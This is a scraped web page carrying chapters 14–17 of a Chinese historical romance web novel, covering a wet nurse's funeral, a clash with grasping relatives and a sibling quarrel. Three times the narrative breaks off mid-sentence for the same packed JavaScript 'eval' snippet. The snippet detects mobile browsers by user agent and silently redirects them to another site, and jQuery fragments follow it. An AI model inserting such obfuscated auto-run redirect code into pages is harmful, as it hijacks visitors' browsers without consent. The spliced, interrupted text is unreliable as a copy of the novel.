红璎啜泣着说道：“只要姑娘不受委屈，我们就不委屈。” 万山雪出来时带了刘嬷嬷一道，事情既已说定，便让她去山下高价租了个破落院子用来出殡。收拾妥当之后，她带人去青檀寺将春草接过来安顿。 一番忙碌自不必说，待灵堂安置好，已经入了夜。 红璎突然记起来，当年春草万念俱灰，一身粗布衣服就去了青檀寺。万山雪大婚时，她特地将春草的东西收拾在箱子里带到了崔家，因为不忍相看，一直没有打开过。 “我想请姑娘带过来看看，有没有什么旧时物事，可以放进棺里陪着我娘，好留个念想。” 万山雪便留着红璎守灵，自己回崔家去取。 车子沐浴着清冷的月光辚辚驶过七孔桥时，万山雪忽然瞧见桥上有一个熟悉的身影。仔细看去，正是黎偃松。 他长身玉立，微微仰头赏月。周围人声暄暄，他却浑然不觉似的，天地间仿佛只剩下他一人，与那轮明月遥遥相对。 离得近了，能瞧见他被风拂动的发丝，衬着月光，愈发显得身姿修长，侧颜如玉，如画中仙一般寂寥而清冷。 身负盛名，年少有为，亦会有这样孤寂的时刻么？ 万山雪不愿打扰，放下车帘，擦肩往崔府去了。 行军打仗之人，早练就了眼观六路耳听八方的本事，远远儿就看清楚她伏在窗边出神。只是她正处于悲怆之中，言语安慰只会显得苍白而聒噪，倒不如假装没看见的好。 车子远去后，他才回身深深地看了一眼。 但愿他们都能所求如愿。 14. 第 14 章 虽已过了月中，可今夜月色出奇的好。 踏着满地皎洁回府，金鲤迎了上来：“将军回来了。老太太这几日心情大好，今儿个夜里命人搬出了去年酿的葡萄酒，跟老爷和大爷二爷一道喝酒呢，江姑娘也在。” 黎偃松加快步子，来到樊老太太的院里。果然瞧见父亲与黎偃成、黎偃钟伴着老太太说笑，江心澜抱着庭安坐在老太太下首。 一见他来，黎玄起身笑道：“松儿来陪陪老太太吧，母亲且恕儿子不孝，身上实在有些支撑不住。” 众人都知道黎玄的旧伤到了暑热天便会犯，黎偃松连忙上前扶住黎玄。 老太太佯嗔道：“松儿过来，让你爹再疼会儿。摊上个糊涂不知事的娘，不使他多疼会儿我岂不是白白背了这亲生后娘的名声？” 黎玄笑着赔罪道：“都是做儿子的不好，惹母亲生气。” 黎偃钟起来给樊母捶背，笑道：“老太太顺口说句气话容易，回头三叔身子有一丝不爽快，还是老太太自个儿心疼” 老太太气鼓鼓道：“自家娘们儿跟前也这样，你没瞧见我老早赶了三个媳妇回去歇着？还不是心疼她们终日忙碌，不必陪着我这个无事忙的人干坐着。你倒好，还非得撑到你儿子回来你才敢走，花木兰替父从军，你便要你儿替你陪母么？”说得众人都笑起来。 黎偃松送父亲回了院子，转头来陪老祖母，见老人家神色伤感，便以目示意黎偃钟，兄弟俩努力找些话来凑趣儿。 樊老太太满脸笑意，将兄弟三个细细打量了一遍，末了伸手攥住黎偃钟的手，爱怜地拍了拍，长叹一声，抹抹眼角说道：“这话我说的不下百回，只怕你们耳朵都起茧子了，可今儿你们三兄弟齐聚，我还是要再絮烦几句。自我来到黎家，男子们刀山火海地闯，我心里也一日未曾真正安宁过，别人眼里千好万好的荣华尊崇，在我眼里半文也不值。我只要你们都平平安安地活着，那些麻烦死人的繁文缛节，在咱家都可免了。只要不干伤天害理的事儿，随心所欲就是。记着我的这句话吧，好孩子们。” 黎偃钟举起酒杯说道：“老太太说的极是，可我要为三叔剖白一句。三叔守着您老人家并不是出于礼节，是发乎于内心的敬重依恋。” 老太太笑了起来，对江心澜说道：“心澜是知道的，从前你这个二哥哥就如同闷葫芦一般，老半天问不出一个字来，急得我发燥。自从与于家姑娘定下婚事，性情开朗许多，好似将那些年的话都补回来了。” 庭安从江心澜怀里坐起身子，睁大眼睛问：“那接下来是不是该我三叔定婚事了？” 老太太笑吟吟道：“是呀，等二婶三婶过了门，我们小庭安就有更多人疼了。” 黎偃成看了一眼江心澜，连忙招手示意乳母把女儿抱走，庭安踢腾着不肯：“我要姑姑抱，我就要姑姑抱！” 黎偃成忙起身去接她，竟也被小家伙毫不留情地拒绝了，老太太笑道：“真真是两人的缘法，拢共也没见过心澜两次，黏得这样厉害。” 江心澜笑道：“好好好，姑姑送你回去。” 老太太拉着她的手嘱咐道：“那你就回房歇下吧，这孩子这两日不要爹不要娘的直缠磨你，可够受的了。” 眼见着江心澜一行走远了，老太太话锋一转说道：“心澜这孩子面上笑眯眯的，我瞧着她似乎总有什么心事，背过人时便有些忧愁。” 黎偃松知道内幕，却不愿意说出来，便含混“唔”了一声。 “唔什么唔，一点儿不知道关心人，赶明儿大哥二哥都成家有孩子的，我看你打光棍打到八十岁去。” 黎偃钟笑道：“真个的，要是你们两厢情愿呢，咱们是男方，趁早利利索索定下来，岂不两便？关于你俩的流言沸沸扬扬，众人都认定你们是一对了，咱们倒罢了，江将军就这么一个宝贝女儿，矜贵得跟眼珠子似的，让人家背负这样的名声，将来说亲多不好。” 黎偃松想起流言乍起时，江心澜飞快地去找他，威逼利诱要他不许澄清的样子就暗自好笑。 江咏将军和夫人虽然不急着嫁女儿，可是到底年龄搁这儿，挡不住提亲的多，也时时打探她的心意，心澜烦不胜烦。 恰好那次回京，有好事者提起了他俩，江心澜索性来了个顺水推舟，默而不语，别人只当她是姑娘家害羞默认罢了，黎家与江家近水楼台，别人也不好再提。 可是祖母显然是当真了，这两日一再地明示暗示于他，黎偃松知道得把话说明白了，便道：“祖母莫信流言，我与心澜彼此都以兄妹看待。至于说亲，国事不太平，晚点儿再罢。” “你别想着我这个老婆子终日在宅里，糊里糊涂的，我知道你担心什么，可是，”她的声音陡然高了起来，“咱们黎家干的是保家卫国的大事儿，堂堂正正，上天必然会垂怜的，若有心仪的姑娘，千万不要错过。” 他晃了晃祖母的手臂：“我记住了，老太太，您就放心吧。” 老太太睡去了，黎偃钟贼兮兮地说道：“我另外备了下酒菜，咱们哥仨儿再去书房喝两盅？” 自到边关，从来不缺与将士们对酒当歌的豪迈，却少了骨肉手足相聚的宁静温情，黎偃松与偃成对视一眼，当即答应下来。 黎偃成安静地坐着，含笑听他二人你一言我一语地说着。 黎偃钟看了看大哥，又看看黎偃松，呷了一大口酒，声音里漫上哽咽：“你年龄最小，却是过得最辛苦的。这京城里惯会拜高踩低，若不是三弟你舍身出去，祖上再大的功绩，也只有那帮小人落井下石的。” 黎偃松摇摇头，这点子辛苦算什么，像大哥二哥这样生生被折断翅膀，才是真的难。 黎偃成满眼心疼地拍了拍他的背。 黎偃松咽下喉头酸楚，朝着宫城的方向扬了扬下巴：“世人皆苦，不独我一人。” 黎偃钟压低了声音，愤愤然道：“若依此看，三弟去了边关虽然辛苦异常，却也比我们憋憋屈屈待在京里好，眼看权臣当道，天子一退再退竟无计可施，真个闷煞人也。” “先皇在时，便将奏折分成几类，标明加急者务必直达天听。金弘起初辅佐时还是勤勉的，日日将紧要奏折拆分开来与皇上讲解，如今权利熏心，所有奏折大事小情，竟全部擅自做主，不把皇上放在眼里。” “三弟有所不知，姜公公带了个百伶百俐的小徒弟，机变灵敏，办事甚是得力，一身好武艺，只因对皇上忠心耿耿，惹来金弘忌惮，找个借口将他杖毙了，这一类的事情真是数不胜数，唉……身为男儿，不能手刃奸臣替天行道，一身好力气困锁在这牢笼里，我……” 黎偃钟再说不下去，伏在桌上呜呜咽咽地哭起来。 月亮西行，被丝丝缕缕的云彩遮住了光芒，连带屋子里的烛火都暗淡下去。黎偃成转过头去，肩头也微微颤动着。 黎偃松握着酒杯，酸涩难言。 黎偃钟哭了一程子，擦干眼泪笑道：“瞧我，喝点儿酒一时胡言乱语，吃菜吃菜。” “是了，这两日满城都在议论,金相国已经得了皇上允准，着令昭勇侯即日前往京城领罪。吴阻性情急躁，与吴险时起纷争，倘若此次真给他治了大罪，往后秀州晋陵都由定国公吴险一人治理，或许会清静许多。” 黎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756657|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偃成蘸酒写道：借刀杀人，岂容刀存？ 黎偃钟霎时明白，愕然地向两人脸上环视一圈，说道：“这……” 黎偃松心里烦乱，面上却是淡然，举起酒杯说道：“且往后看，咱们先饮酒吧。” * 万山雪进了院子，便瞧见乌思羽和崔明之正相对立着说话。 她看着娇俏如花的乌思羽，心里奇怪，她本可以有许多选择，为何偏偏盯上了崔明之呢？ 回头一想自己当初的执拗，苦涩一笑。 乌思羽一见她进来，连忙迎了上去：“二嫂怎样了？都还好吗？” 万山雪此前因为崔明之的态度，在乌思羽面前总是倍感自卑，觉得自身处处不如她。如今既不那么在意崔明之，对乌思羽的行为也就不再关注，他们怎样亲密，心里也不会激起半点涟漪。 她疏离一笑说道：“多谢表妹关心。我先去看看橘霜这丫头，失陪了，妹妹请见谅。” 说着脚步匆匆从崔明之旁边走过，看也不看他一眼。 橘霜听到声音早下了床，主仆二人相对无言，皆是泪水涟涟，彼此劝慰了好一阵子。 万山雪回到房里，见崔明之坐在那里。 她沉默片刻，觉得嗓子干疼得厉害，见桌上的新茶冒着热气，便斟了一杯慢慢啜饮。 不知过了多久，崔明之淡淡问道：“岳父对于你乳母安葬之事怎么说？” 万山雪忽然从心底升起一股深深的厌恶，不知是对他，还是对过去那个迷恋他的自己。 “万家来负责此事，二爷无须费心。” 崔明之意外地看了她一眼，说道：“你也用不着跟我赌气。我有事脱不开身，你有什么不知道的？吊唁那日我必然到场，给你体面。” 万山雪嘲讽地笑了：“二爷是日理万机之人，自去忙碌就是，我不需要什么体面，阿母跟二爷不熟，更无需二爷赏脸。” 她说完便来到外间，坐在橘霜身旁沉吟半晌，唤过一名小丫鬟，请她去喊江嬷嬷来。 她在兰芬跟前儿已经细细讨教过丧仪要注意的事项和花费，心里有了底，安排起来自然也很有条理：“原是咱们太太要说派个老道的人儿过来主办丧礼的，我心想我年纪轻轻，自然比不得太太调理人得当有法，可手里也是有两个稳妥靠谱的人，何必舍近求远？再者阿母与你们都是有交情的，此事交给你与刘嬷嬷，我也放心。” 江嬷嬷自来不曾见过万山雪这一面，满脸意外，稍稍泄露一些惊喜之色赶紧压回去，忙说道：“不敢教奶奶失望，必当尽心尽力。” 万山雪揉了揉双鬓：“这事儿比不得在府里出殡，诸事不齐全。可若是都要买去，事后收回来不是，扔了不是，倒是浪费。你们瞧着，凡能租赁的一律租赁，必需买的亦无需节省。这二十两银子嬷嬷领去，开销事宜你与刘嬷嬷商量着办妥当。” 久不受待见的嬷嬷乍然得了重用，喜得如久旱逢甘霖，只是看主子伤心，不敢喜形于色，喏喏退去。 “人都说厚养礼葬，”伤心自责漫过万山雪的脸庞，她歉疚地垂下头来，“你瞧我，既没能厚养，也没能礼葬。” 橘霜垂泪说道：“最后关头，姑娘跟春草嬷嬷彼此开释心结，已经很好了。” 继而又说道：“我以前听说，那些投机的人最喜帮人治理丧事，总能趁着主人家伤心之时，事事总想着体面为要，不追究多花钱，而趁机捞一笔，要不要……” 万山雪摇摇头：“用人不疑，疑人不用，既用了人家，对这样的事就该睁只眼闭只眼，手里藏私也是有限的，事情办得妥妥当当即可。” 15. 第 15 章 到了第五日吊唁之时，诸事都可算齐备。 为春草送行者，不过万山雪几人，再有万家一些从前得了春草好处的下人悄悄来了一趟。婚丧礼葬之事向来要有人气烘托方可显得隆重的，若是喜事，人少也罢了，丧仪如此，便在凄清之上更显一层惨淡来。 万山雪忙一程子，哭一程子，一想到此生此世再也没办法弥补对乳母的亏欠，便恨透了自己，红璎更是剜心掏肺，哭得死去活来。 一同守丧之人，都明白她们的心头遗憾，劝是劝不了的，只跟着落泪。 正哭得哀哀欲绝之时，却听刘嬷嬷说道：“奶奶，黎将军一行到门外了。” 万山雪连忙强忍住悲戚，环顾四周低声问道：“毓儿怎么还没到？” 说话时外面一行人已经走进院子，万山雪顾不得许多，敛起悲痛上去相迎，是黎偃松、景明洲与江心澜伴着几个随从。 “这怎么敢当？原说待丧期过了，我再上门好好感谢诸位救命之恩的，怎敢劳动你们……” 黎偃松见她素衣如雪，乌发散落，衬得脸色愈发雪白，双眼红肿，仿佛被风霜摧折的花瓣，声音嘶哑，说话时虽极力忍着，还是带出止不住的抽噎，只觉得心头一阵莫名的难受。 他有意避开视线不看她，景明洲轻声说道：“到底也有我们救人不力的因素，来送一送……” 三人在灵前上了香，拜了几拜，万山雪连忙往屋子里相让，上了茶正要说话时忽听门外一声干嚎：“我可怜的大嫂啊，你怎么不言一声就去了！你让我们怎么活啊！” 众人面面相觑，连忙起身出来。 从门外跌跌撞撞奔进来两个大人并一大一小两个孩子，却是素不相识的。 春草在青檀寺修行，怎么可能被这样称呼呢？万山雪拭泪正要问询，忽地明白了七八分。 待要上前，红璎已经挡在了灵位前面，拦住他们冷声说道：“你们是何人？” 正嚎得惊天动地的那妇人抬起头来，满脸是泪，上下打量了一番红璎，扯过一旁的男人说道：“人都说闺女随爹，真真儿不假。他爹你瞧，这孩子长得多像大哥。只可怜大哥早早地去了，若是今时今日能看到女儿，不知道该高兴成什么样子……” 来人正是陈粮的弟弟陈糠和弟媳妇宗氏。 红璎甩开手说：“你们认错人了，这是我娘灵前，不许你们在此胡说八道，请出去。” 那妇人一听此言，立时横眉竖眼，向众人看了一眼，又换了副口气哄劝道：“怎能怪这孩子不认得自家人？到底年纪小，又早早失了爹娘，没人说与你听……” 红璎早失了耐性，呵斥道：“你们听不懂人话怎地！谁跟你是自家人，出去，都给我出去！” “你这糊涂丫头，当着众人的面，咱们来评评这个理儿，天下可有亲闺女不认爹的道理。” 妇人扯过一把椅子大喇喇地坐下来，“你爹娘当初不过略拌了几句嘴，我与你叔叔都劝说他不该如此，他也悔之莫及，连忙去街市上买吃食来哄你娘开心，哪知道回来找不到人了。我们沿街寻巷地找，才知道你娘是个气性大的，才出了月子的人，就抱着你去了万府。你们年纪小不晓事，成家过日子，夫妻拌嘴是常有的事，又没有当真散伙。你爹爹前年因为太想你们娘两个，积劳成疾就撒手西去了，你这孩子怎能不认祖归宗呢？” 红缨双目赤红，鼻子呼哧呼哧，双手握拳，那样子恨不能吃了面前的喋喋不休的妇人。 万山雪将红璎拉在身后说道：“今日主事人是我万山雪。我给我的乳母办丧事，不是她。你们与我乳母若是果然曾经相识一场，想要吊唁，在灵前一大哭也就不枉这份情意了。若是有什么话说，请冲我来。” 那妇人又赔上可怜巴巴的笑脸道：“夫人知道，我们都是老实巴交的人家，哪里是要闹事来。只不过当初嫂子在时，相处得很是和睦。得知她乍然去了，谁受得了？” 说着又挤出几滴眼泪来。 万山雪点点头：“那就是来吊唁的了，请吧。” 那妇人在坟前哭了一气子，又打着两个孩子哭了两声，这才说道：“我们还是那句话，人总是要认祖归宗的。嫂子生是我陈家人，死是陈家鬼。万万没有做孤魂野鬼的道理，此事夫人花了多少钱，我们可以来出，嫂子必须葬在我陈家祖坟里。” 红璎是个烈性子，一听此话蛾眉倒竖，气得浑身乱颤就要发作。 万山雪从未应对过这等事情，心里难免慌乱，面上却竭力镇定着，稳住红璎问道：“还有呢？” 那妇人眼珠子骨碌碌一转，盯着红璎：“爹娘都没了，谁是知冷知热的人？可怜这丫头一辈子为奴为仆的，她也得回我陈家来，有亲叔叔婶婶，自然比别人亲近。” 黎偃松等人皆是外人，不知道内情，自然也不好插嘴，此刻走也不是留也不是，颇为尴尬。 万山雪心里突然有了主意，侧身对刘嬷嬷耳语几句，心思渐定，冷冷笑道：“是么？你们怎么证实，你们就是红璎的亲叔叔亲婶婶？” “这还用证实？但凡头上顶着两个眼睛泡子的都能看出来，你瞧瞧，他们长得多像啊，血缘这东西能骗人？” “口说无凭，我还觉着红璎跟我十二分相像呢，你们拿出切实证据来再说。否则我就报官，以扰乱灵堂罪来抓捕你们。” 这完全是瞎扯的，她根本不知道什么灵堂罪，不过说出来吓唬他们。 谁知那妇人根本不吃这一套，她滚在地上嚎啕大哭：“有权有势就能不讲理哇，老天爷这什么世道啊！来抓我啊，把我们全都抓走吧，大哥嫂子，你们睁开眼睛看看，你们的骨肉手足被欺负成什么样了。你一生伺候他们还不够，还要搭上红璎的一辈子……” 她连说带哭，在地上滚着爬着，那模样只看得人汗毛倒竖。 至此纵然众人不明白，也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756658|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知晓了他们的目的。 万山雪实在受不了这个哭声，她索性也扑在灵前哭了起来，待妇人哭声稍止，立刻抽了空子哭道：“阿母，我对不起你。你生前交代过，这辈子无论生死，都与陈家人不复相见，可他们不请自来，生前欺负你不算，临了还要作践人……” 红璎也放声大哭：“苦命的娘呵，月子里就被坏良心的丈夫殴打，下着大雪抱着我连跪带爬到了万家，幸而先夫人心善，不然咱们还有命么？你这才刚一走，他们就打算拿我换彩礼钱了，娘呵……” 陈糠起初一直默默站着，一脸的悲苦看着倒是个老实人。这会子听见红璎哭诉如同被蝎子蛰了一样，立即跳起来冲到红璎面前就高高扬起手来，恼羞成怒道：“谁要卖你了，你这死丫头亲疏不分，看我打不死你！” 他行动突然，众人猝不及防，下一刻他的手腕却被黎偃松攥住了。 他挣扎几下，哪里是黎偃松的对手，便蛮横地说：“你算哪根葱，我打我侄女，与你什么相干？” 那妇人见丈夫被拿捏，早爬起来了，擤着鼻涕，往地上吐了一口痰说道：“呸，这还用问，这位爷定然是被这主仆俩侍奉惯了，舍不得红璎走。” “啪！”两声清脆的巴掌同时响起，一掌落在陈粮脸上，一掌落在妇人脸上。是黎偃松和万山雪同时出的手。 这下简直捅了马蜂窝，那妇人死命撞向万山雪，被她疾步躲过，一头撞在了桌角，登时头破血流，两个孩子吓得放声大哭，乱作一团。 刘嬷嬷从外面领了两位皂隶来，其中一个拿出张纸抖擞道：“这白纸黑字写得清清楚楚，陈粮与兰春草早已恩断义绝，经双方见证和离，你们在这里吵闹不休，欲要何为？” 陈糠一见这来头，登时便有些怯了，兀自嘴硬说道：“既是这死丫头背祖忘恩，那就当我们好心被狗吃了。还哭什么，走了，走了！” 皂隶们呵斥了几句，领了谢银也就拱手告辞了。 江心澜奇道：“嬷嬷怎地来去这样快，夫人是不是早就料到他们有此一闹？” 万山雪摇摇头：“若不是他们出现，我根本就不知道还有这号人物。方才我是让嬷嬷使了银子，去附近镇上寻的皂隶。只要穿着官服就行，多少能够震慑他们一下。” 江心澜佩服得点点头：“正是如此，秀才遇见兵，有理难说清，跟他们争辩到明日也辩不明白。” 黎偃松轻声道：“既是如此，晚间我派几个亲兵来此守着。”他看万山雪还要客气，便补充道，“防的是明日下葬时他们闹事。” 经此一事，万山雪觉得心里有了底气。对不同的人用不同的招数，兰芬如此，陈糠夫妇如此，便是明日再闹起来她也不怕了。可黎偃松到底是好心，一味拒绝倒显得过于执拗，她连连感激。 黎偃松与景、江二人递了个眼色，正要起身告辞，江嬷嬷一路小跑进来说道：“奶奶，二爷来了。” 16. 第 16 章 萧家城外别院来回二三十里路，难为他日日这样奔波，竟甘之如饴。 天气炎热，万山雪却只觉心底凉意森森，冷冷地瞥了一眼来人，没有挪步。 崔明之穿着一身月白色的长袍信步进来，脸上的神情既没有参加丧事该有的悲伤，也没有表现出对妻子应有的关怀，甚至还带着些许欣喜，大约是因为萧慎日日康复之故。 万山雪暗想，若不是在灵堂前刻意收敛，他只怕都会笑出声来。 崔明之瞧见黎偃松一行，立即热情起来，越过双手举着线香的刘嬷嬷，径直走过去打招呼。 黎偃松已经见识过崔明之与万山雪之间的冷漠，再次目睹仍觉心里一颤：漫漫余生日日夜夜，若都这般，还不如独自一人来得畅快。 景明洲向来是个粗心的，根本没有觉察出眼前形势的微妙，还关切地询问了萧慎的境况。 崔明之语气里是压抑不住的高兴：“托诸位的福，萧公子已经好多了。” 江心澜不动声色地狠狠掐了一把景明洲，他立即噤声。 崔明之这才接过刘嬷嬷手里的线香焚了，在灵前拜了三拜，起身走到万山雪跟前，关切说道：“这两日你受了惊吓，又这般伤心，身子哪里熬得住？我来守着，你去歇息一会儿吧。” 万山雪往旁边挪了两步，看也不看他一眼，淡淡说道：“无妨，二爷有事便去忙吧。” 这会子连粗枝大叶的景明洲也咂摸出味儿了，连忙起身说道：“既然心愿已毕，我们就不在此叨扰了，夫人请节哀顺变，保重身体。” 崔明之极力挽留，正拉扯不下时，万山毓低垂着脑袋，踢踢踏踏从外头走来了。 万山雪当即冷了脸，厉声问道：“站住！你整日忙什么？这会子都什么时辰了你才来，连你姐夫都比你来得早！” 这是在骂崔明之了。 黎偃松不着痕迹地瞟一眼，见崔明之毫不在意，还饶有兴致地看着姐弟二人。 万山毓低着头，看不清神色，只是唯唯诺诺解释道：“长姐莫要生气，我原打算一早就来的。结果走到半路遇见那个洪呆子。他上次输给我了，今儿说什么也不放我走，非要一决高下不可……” 话未说完，万山雪已经气得浑身直颤，“啪啪”两声清脆的耳光便落在了万山毓脸上。 她从未对弟弟发过火。 从前万山毓再怎么顽劣，她也视而不见。在她眼里，只觉得上有父亲继母，又有乳母严加管教，轮不到她这个做姐姐的人来操心。 “跪下！” 平时近身伺候的人，都知道万山雪的性子，虽然娇纵任性，却很好哄。三句好话在她这儿比钱还好使，哄得眉开眼笑，天大的事儿也过去了。责罚打骂都是极少有的事情。谁都没有见过她这样疾言厉色，一时都有些怔仲。 万山毓一向对待长姐也是乖顺的，只是这会子当着这么多人被打嘴巴子，一时下不来台，捂着脸呆了片刻突然跳了起来：“你凭什么打我！该打的人是你万山雪，不是我！” “当年的事情你是忘了，我可都清清楚楚地记着。阿母天天催着逼着让你读书写字，你听了么？阿母求爹爹给你请了嬷嬷教你规矩礼仪，你学了么？阿母软硬兼施求你万万不要嫁到崔家，你是怎么做的？” “是，我在别人眼里是纨绔，是街痞子，是扶不上墙的烂泥巴！我愧对万家列祖列宗，可我从来没有跟阿母作对过！我知道她的好。她被你气得万念俱灰执意出家时，你在欢天喜地准备做新娘子，是我苦苦守在阿母身边，求她回心转意！” “也是我，每五日去一趟青檀寺，只为了见见阿母，确认她平安无虞。你呢？你忙着沉浸在新婚的喜悦里，受了委屈哭哭啼啼回娘家，何曾想起来过阿母此前的劝告？何曾记起阿母这个人？哦不，你兴致来时去过两次，阿母硬着心肠不肯见你，你便觉得受了天大的委屈，再也不肯去了。可是，跟你给她的比起来，她那点冷脸算得了什么？” 红璎急得跳脚：“我的好爷，你别胡说了！我娘她是因为……” 万山雪慢慢站直了身子，制止红璎：“让他说。” 黎偃松暗自思忖，春草中毒一事里，万山毓想来是脱不开干系的，万山雪不报官不验毒就下葬，大抵也是为了保护这位幼弟。顶难得的是，身为亲生女儿的红璎居然也同意这么做，主仆感情由此可见。 万山毓在气头上，不管不顾地向下说：“如今你在崔家受了冷眼，过得不好了才悔悟。临了阿母不仅没得你一声道歉，还要搭进去她的性命来替你受过！这会子你良心发现了，你该自己跪在阿母灵前自扇耳光，而不是拉着无辜的人跟着你一起忏悔！” 亲近之人，才最知道针戳在哪里痛。 字字句句，都似雷霆万钧，震荡在这个小院里，方才陈糠夫妇的闹腾，跟万山毓的话相比，简直轻飘飘的像是笑话。 万山雪的脸色雪白如纸，身子晃了又晃，那双原本清澈的眼眸，此刻却空洞无神，仿佛所有的力气都被抽走了。 她喃喃说道：“你说得对，毓儿，是我害死了阿母。我错了，我悔了，可是一切都来不及了……” 她脚步踉跄往灵前走去，带着哭腔唤道：“阿母，阿母，你带我走吧……” 身子软软地倒下，如同一片凋零的花瓣。 耳边响起的惊叫声和脚步声都模糊不清了。 小院里登时乱作一团，万山毓方才梗着脖子吵，见姐姐晕倒也慌了神。 抬头瞧见崔明之闲闲袖手旁观，大吼道：“谁许你来我阿母灵前的，滚！” 黎偃松几人不愿意在此目睹别人家事，再者也忙上加乱，便趁乱告辞了。 走出一段，回头一看，崔明之也晃晃悠悠地出来了，步伐颇为悠然自得。 “呸！”江心澜气愤说道，“这个崔明之忒不是个东西，夫妻之间能有多大的仇，值得他这样子无情。你们瞧见没，方才万夫人的弟弟跟她对峙时，崔明之作壁上观也就罢了，脸上还带着些看热闹的意味。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756659|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “瞧瞧，我们江判官又来打抱不平了。”景明洲笑道，“你没听万山毓说，万夫人从前也有许多不是么？别人家事听听得了，恩恩怨怨谁能分说清楚？” 江心澜申辩道：“从前她年纪小啊，打小没了亲生母亲指教，有些事情做不好也可容谅。单看陈氏夫妇来闹事时，她能极快地想到制敌之策，就可知她底子是聪慧的。” “你这话说得有理，可就算你我能看到她的好，她夫君看不到，不也是白搭么？到底是人家两口子过日子。” “啊！”江心澜气得冲着天空大喊一声，“真气人啊，再怎么也是当着外人，连起码的面子都不遮掩一下，私底下如何也就可想而知了。” 她说着说着，忽地想起一事来，压低了声音道：“哎，你们说像万夫人这样的美娇娘，崔明之都不放在心上，反而对萧家公子那样上心，他是不是那个……” 一直沉默不语的黎偃松咳嗽一声，连耳根子都红透了：“你一个姑娘家，脑子里都装的什么乱七八糟的，师父师娘听见又要骂你。” 江心澜哼了一声：“听见了好，我倒要好好跟他们说说，这些天来我亲眼所见的几个女子婚后都过的什么日子，黄连都没有这么苦。” 青鲤插话道：“真个的，自家夫人的乳母，若换做那大气的男子，就气气派派让她从家门出去，给足了夫人面子，外人那儿也赚了个有情有义的名声，何乐而不为？” “只能说明，比起来夫妻的嫌隙，这点子名声根本算不得什么。”景明洲笑道：“得了得了，青鲤，你别火上浇油了，没看见江姑娘都快把自个儿燃着了么？让她操心操心自己的事儿吧，怎么能拿下裴老爷子。” 江心澜咳声叹气：“你要说这个，那真是愁煞人也！我都打听过了，但凡人能想到的东西，都打动不了裴老爷子。” 黎偃松笑道：“饶是神仙也有自己的嗜好，身而为人，怎么可能没有软肋，只是你还没有找到罢了。” “他老人家倒是有嗜好，最爱喝茶，可是旁人将万两黄金换一撮的茶叶送来，也没能敲开门缝。” 景明洲说道：“三个诸葛亮，顶个臭皮匠，咱们想想办法，总会有的。” 江心澜哈哈大笑：“得了吧你，一句俗语都能颠三倒四，我不敢指望你。” 景明洲这才意识到顺口说错了，几人大笑起来，惊起十数只鸟儿，扑棱着翅膀向远处飞去。 黎偃松跟在后面，衣袂随风轻扬，眉目淡然。 忽然，他的目光被前方一树繁花吸引。那棵树是从山石的缝隙里长出来的，树身弯弯曲曲，却极力向上伸展。枝头缀满了火红色的花朵，花瓣层层叠叠，如同烈焰一般，在阳光下熠熠生辉。 有风拂过时，花瓣纷纷坠落，他伸手接过一片轻轻摩挲，质地细腻，清香宜人。 不知怎地，他忽然想起万山雪来。 但愿她能挺过去。 片刻后，他收回目光，摇摇头，试图将这莫名的思绪抛之脑后，继续向前行去。 17. 第 17 章 万山雪悠悠醒转，睁开眼看见哭成泪人儿的红璎，还有手足无措的万山毓。 他哭喊着拉着姐姐的手：“姐姐我错了，你打我吧，我那些话都不是真心的，我不是故意要给你难堪的。” 她喝下刘嬷嬷端来的糖水，喘口气，示意万山毓来跟前。 万山毓蹲下身子，抽抽搭搭地说道：“我没有跟别人去玩……我只是没办法面对阿母没有的事实……” 万山雪的眼泪淌了下来。 她一遍一遍地轻抚他的后背：“毓儿不必自责，你说的都是实话。这些年，我没有做好自己，也没有做好姐姐，也确确实实对不起阿母和红璎，还有咱们母亲。” 万山毓想要说话，她贴近些说道：“毓儿，以后姐姐和你一道，咱们将那些不好的都改掉，好不好？” 万山毓呜咽着点点头。 夜色如墨，灵堂里烛火摇曳，映照着姐弟俩并排跪着的身影。 万山雪眼眸低垂，凝视着灵牌，万山毓的啜泣声始终未停过。香炉中的青烟袅袅升起，丝丝缕缕将春草的生平展开又带走。 次日天空阴霾，闷沉沉的像是要下雨，下葬时辰定在了辰时末。 万山毓在前面捧着灵牌，万山雪与红璎并肩走在后面。 纸钱在空中打着旋，像一只只没有生息的蝴蝶，铺天盖地，压得人喘不过气。 万山毓起初呆呆的如同木人，眼珠始终落在棺木上一动不动。待棺木下放墓坑的那一瞬间，他忽然发疯似地怒吼着，一只手牢牢护着怀里的灵牌，另一只手去抓棺木，仿佛这样就可以将阿母拉回来。 众人唬了一跳，拼了命地去拽他，若非身边的两个小厮眼疾手快，他已经掉下去了。 黄土一锨一锨地落在棺木上，也砸在他们心上。 